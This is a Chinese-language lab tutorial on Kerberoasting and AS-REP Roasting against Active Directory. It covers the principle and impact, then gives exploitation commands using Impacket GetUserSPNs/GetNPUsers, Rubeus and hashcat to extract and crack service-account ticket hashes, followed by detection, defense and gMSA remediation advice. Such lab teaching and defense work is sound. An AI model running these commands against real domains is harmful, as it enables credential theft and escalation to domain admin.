域渗透:Kerberoasting 与 AS-REP Roasting 实战

在本地 AD 靶场实战 Kerberoasting 与 AS-REP Roasting,完整讲解原理、影响、利用、检测、防御与修复。

写在前面:合法学习边界

Kerberoasting 与 AS-REP Roasting 只能在自建的 AD 域靶场进行。在真实域环境中抓取和破解服务账号密码可能触犯法律。

一、漏洞原理

Kerberos 认证时,票据里包含服务账号密码派生的密钥。普通域用户可以合法申请这些票据,但可以拿回本地离线破解。

两种攻击的本质:

1
2
Kerberoasting:申请 SPN 服务账号的 TGS 票据 → 破解其密码
AS-REP Roasting:对未开预认证的账号申请 TGT → 破解密码

共同点:Kerberos 协议把密码哈希放进可离线带走的票据里,攻击者拿到的不是密码本身,而是可以破解的哈希。

前提条件:

1
2
3
一个普通域用户账号(Kerberoasting)
存在 SPN 服务账号(Kerberoasting)
存在 DONT_REQ_PREAUTH 账号(AS-REP Roasting)
域渗透攻击路径图

二、影响与危害

1
2
3
4
域内服务账号密码被离线破解
破解后访问对应服务,甚至提权到域管
无需频繁登录,告警少、隐蔽性高
批量申请票据可能造成大量服务票据请求

风险等级:。普通域用户权限即可发起,一旦服务账号密码弱,域基本就守不住。

三、利用 / 复现

环境准备

自建 AD 靶场,准备:

1
2
3
域控 + 普通域用户
一个 SPN 服务账号(密码设简单,如 P@ssw0rd123)
一个关闭预认证的账号

Kerberoasting 步骤

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# 1. 找 SPN 服务账号
GetUserSPNs.py 'corp.local/user:Pass@123' -dc-ip 192.168.1.10
# 解释:列出域内可 Kerberoast 的 SPN 服务账号

# 2. 导出票据哈希
GetUserSPNs.py 'corp.local/user:Pass@123' -dc-ip 192.168.1.10 -request -outputfile kerberoast.txt
# 解释:申请 TGS 票据并保存,票据里带服务账号密码哈希

# 3. 离线破解(模式 13100)
hashcat -m 13100 kerberoast.txt rockyou.txt
# 解释:13100 是 Kerberoast TGS 哈希模式,rockyou 为字典

域内 Windows 上用 Rubeus:

1
Rubeus.exe kerberoast

AS-REP Roasting 步骤

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# 1. 找关闭预认证的账号
GetNPUsers.py 'corp.local/' -usersfile users.txt -dc-ip 192.168.1.10
# 解释:对用户列表尝试申请 TGT,能成功的就是没开预认证的账号

# 2. 导出哈希(模式 18200)
GetNPUsers.py 'corp.local/' -usersfile users.txt -dc-ip 192.168.1.10 -format hashcat -outputfile asrep.txt
# 解释:保存 AS-REP 哈希,18200 是 AS-REP 破解模式

# 3. 破解
hashcat -m 18200 asrep.txt rockyou.txt

结果验证

1
2
hashcat 显示 Cracked 并给出明文密码
用该账号密码验证登录对应服务

四、检测

1
2
3
4
大量 4769 事件(服务票据申请异常)
同一账号频繁申请不同 SPN 票据
异常时间段的 kerberoast 请求
账户被多次尝试(AS-REP 场景)

五、防御

1
2
3
4
服务账号用随机高复杂度密码
服务账号密码定期轮换
清理不需要的 SPN 账号
关闭非必要账号的“不要求预认证”

六、修复

1
2
3
4
对已泄露的服务账号:立即重置高强度密码
对所有 SPN 服务账号统一轮换
迁移到组托管服务账号 gMSA(自动轮换密码)
升级密码策略并审计弱密码账号

七、小结

Kerberoasting / AS-REP Roasting 的共同本质是“票据里带密码哈希,可以离线破解”。普通域用户就能发起,破解成本只取决于密码强度。防御核心是高复杂度密码 + 轮换 + 监控服务票据申请。

本站使用「署名 4.0 国际」创作共享协议,可自由转载、引用,但需署名作者且注明文章出处
最后更新于 Aug 29, 2026 12:50 +0800